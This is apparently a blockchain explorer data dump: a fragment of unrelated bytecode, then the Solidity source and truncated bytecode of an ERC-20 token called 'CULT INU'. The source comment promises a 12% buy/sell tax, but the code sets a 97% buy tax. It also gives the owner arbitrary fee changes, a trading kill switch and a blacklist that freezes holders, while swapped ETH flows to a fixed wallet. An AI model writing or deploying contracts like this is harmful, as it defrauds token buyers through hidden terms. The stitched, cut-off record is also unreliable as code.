0190929190505050610bda565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e11565b604051808215151515815260200191505060405180910390f35b3480156104ac57600080fd5b50610501600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e28565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105af5780601f10610584576101008083540402835291602001916105af565b820191906000526020600020905b81548152906001019060200180831161059257829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156105f657600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561077d57600080fd5b61080c82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaf90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610897848484610ed0565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108f657600080fd5b61098582600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bd05780601f10610ba557610100808354040283529160200191610bd0565b820191906000526020600020905b815481529060010190602001808311610bb357829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c1757600080fd5b610ca682600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaf90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610e1e338484610ed0565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080838311151515610ec157600080fd5b82840390508091505092915050565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610f1d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610f5957600080fd5b610faa816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaf90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015151561110057600080fd5b80915050929150505600a165627a7a723058209c5ad3b87b108487406d4e84e4d1332b9e5c89c96c3ed912f1829e73d9ecec1e0029
|
{"success": true, "error": null, "results": {}}
| 6,043 |
0xfD6a6042bE2fDcC9C38Ad8304117E082635D7c56
|
/**
CULT INU
Cult Inu is a community-drive token inspired by the popular project, CULT + Shiba Inu.
Our goal is to build a strong community and begin the first Meme DAO on ERC20.
Tokenomics
1 Billion Total Supply
20 Million Max Transaction
12% Buy/Sell Tax
Telegram: https://t.me/CultInu
*/
/**
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CultInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "CULT INU";
string private constant _symbol = "CINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 97;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x86A08b794fFb2CA3C9807F5fb6C7631ec0641E96);
address payable private _marketingAddress = payable(0x86A08b794fFb2CA3C9807F5fb6C7631ec0641E96);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610553578063dd62ed3e14610573578063ea1644d5146105b9578063f2fde38b146105d957600080fd5b8063a2a957bb146104ce578063a9059cbb146104ee578063bfd792841461050e578063c3c8cd801461053e57600080fd5b80638f70ccf7116100d15780638f70ccf71461044b5780638f9a55c01461046b57806395d89b411461048157806398a5c315146104ae57600080fd5b80637d1db4a5146103ea5780637f2feddc146104005780638da5cb5b1461042d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195d565b6105f9565b005b34801561020a57600080fd5b5060408051808201909152600881526743554c5420494e5560c01b60208201525b6040516102389190611a22565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a77565b610698565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50670de0b6b3a76400005b604051908152602001610238565b3480156102da57600080fd5b506102616102e9366004611aa3565b6106af565b3480156102fa57600080fd5b506102c060185481565b34801561031057600080fd5b5060405160098152602001610238565b34801561032c57600080fd5b50601554610291906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611ae4565b610718565b34801561036c57600080fd5b506101fc61037b366004611b11565b610763565b34801561038c57600080fd5b506101fc6107ab565b3480156103a157600080fd5b506102c06103b0366004611ae4565b6107f6565b3480156103c157600080fd5b506101fc610818565b3480156103d657600080fd5b506101fc6103e5366004611b2c565b61088c565b3480156103f657600080fd5b506102c060165481565b34801561040c57600080fd5b506102c061041b366004611ae4565b60116020526000908152604090205481565b34801561043957600080fd5b506000546001600160a01b0316610291565b34801561045757600080fd5b506101fc610466366004611b11565b6108bb565b34801561047757600080fd5b506102c060175481565b34801561048d57600080fd5b5060408051808201909152600481526343494e5560e01b602082015261022b565b3480156104ba57600080fd5b506101fc6104c9366004611b2c565b610903565b3480156104da57600080fd5b506101fc6104e9366004611b45565b610932565b3480156104fa57600080fd5b50610261610509366004611a77565b610970565b34801561051a57600080fd5b50610261610529366004611ae4565b60106020526000908152604090205460ff1681565b34801561054a57600080fd5b506101fc61097d565b34801561055f57600080fd5b506101fc61056e366004611b77565b6109d1565b34801561057f57600080fd5b506102c061058e366004611bfb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c557600080fd5b506101fc6105d4366004611b2c565b610a72565b3480156105e557600080fd5b506101fc6105f4366004611ae4565b610aa1565b6000546001600160a01b0316331461062c5760405162461bcd60e51b815260040161062390611c34565b60405180910390fd5b60005b81518110156106945760016010600084848151811061065057610650611c69565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068c81611c95565b91505061062f565b5050565b60006106a5338484610b8b565b5060015b92915050565b60006106bc848484610caf565b61070e843361070985604051806060016040528060288152602001611daf602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111eb565b610b8b565b5060019392505050565b6000546001600160a01b031633146107425760405162461bcd60e51b815260040161062390611c34565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078d5760405162461bcd60e51b815260040161062390611c34565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e057506013546001600160a01b0316336001600160a01b0316145b6107e957600080fd5b476107f381611225565b50565b6001600160a01b0381166000908152600260205260408120546106a99061125f565b6000546001600160a01b031633146108425760405162461bcd60e51b815260040161062390611c34565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161062390611c34565b601655565b6000546001600160a01b031633146108e55760405162461bcd60e51b815260040161062390611c34565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092d5760405162461bcd60e51b815260040161062390611c34565b601855565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161062390611c34565b600893909355600a91909155600955600b55565b60006106a5338484610caf565b6012546001600160a01b0316336001600160a01b031614806109b257506013546001600160a01b0316336001600160a01b0316145b6109bb57600080fd5b60006109c6306107f6565b90506107f3816112e3565b6000546001600160a01b031633146109fb5760405162461bcd60e51b815260040161062390611c34565b60005b82811015610a6c578160056000868685818110610a1d57610a1d611c69565b9050602002016020810190610a329190611ae4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6481611c95565b9150506109fe565b50505050565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b815260040161062390611c34565b601755565b6000546001600160a01b03163314610acb5760405162461bcd60e51b815260040161062390611c34565b6001600160a01b038116610b305760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610623565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610623565b6001600160a01b038216610c4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610623565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610623565b6001600160a01b038216610d755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610623565b60008111610dd75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610623565b6000546001600160a01b03848116911614801590610e0357506000546001600160a01b03838116911614155b156110e457601554600160a01b900460ff16610e9c576000546001600160a01b03848116911614610e9c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610623565b601654811115610eee5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610623565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3057506001600160a01b03821660009081526010602052604090205460ff16155b610f885760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610623565b6015546001600160a01b0383811691161461100d5760175481610faa846107f6565b610fb49190611cb0565b1061100d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610623565b6000611018306107f6565b6018546016549192508210159082106110315760165491505b8080156110485750601554600160a81b900460ff16155b801561106257506015546001600160a01b03868116911614155b80156110775750601554600160b01b900460ff165b801561109c57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c157506001600160a01b03841660009081526005602052604090205460ff16155b156110e1576110cf826112e3565b4780156110df576110df47611225565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112657506001600160a01b03831660009081526005602052604090205460ff165b8061115857506015546001600160a01b0385811691161480159061115857506015546001600160a01b03848116911614155b15611165575060006111df565b6015546001600160a01b03858116911614801561119057506014546001600160a01b03848116911614155b156111a257600854600c55600954600d555b6015546001600160a01b0384811691161480156111cd57506014546001600160a01b03858116911614155b156111df57600a54600c55600b54600d555b610a6c8484848461146c565b6000818484111561120f5760405162461bcd60e51b81526004016106239190611a22565b50600061121c8486611cc8565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610694573d6000803e3d6000fd5b60006006548211156112c65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610623565b60006112d061149a565b90506112dc83826114bd565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132b5761132b611c69565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137f57600080fd5b505afa158015611393573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b79190611cdf565b816001815181106113ca576113ca611c69565b6001600160a01b0392831660209182029290920101526014546113f09130911684610b8b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611429908590600090869030904290600401611cfc565b600060405180830381600087803b15801561144357600080fd5b505af1158015611457573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611479576114796114ff565b61148484848461152d565b80610a6c57610a6c600e54600c55600f54600d55565b60008060006114a7611624565b90925090506114b682826114bd565b9250505090565b60006112dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611664565b600c5415801561150f5750600d54155b1561151657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153f87611692565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157190876116ef565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a09086611731565b6001600160a01b0389166000908152600260205260409020556115c281611790565b6115cc84836117da565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161191815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163f82826114bd565b82101561165b57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116855760405162461bcd60e51b81526004016106239190611a22565b50600061121c8486611d6d565b60008060008060008060008060006116af8a600c54600d546117fe565b92509250925060006116bf61149a565b905060008060006116d28e878787611853565b919e509c509a509598509396509194505050505091939550919395565b60006112dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111eb565b60008061173e8385611cb0565b9050838110156112dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610623565b600061179a61149a565b905060006117a883836118a3565b306000908152600260205260409020549091506117c59082611731565b30600090815260026020526040902055505050565b6006546117e790836116ef565b6006556007546117f79082611731565b6007555050565b60008080806118186064611812898961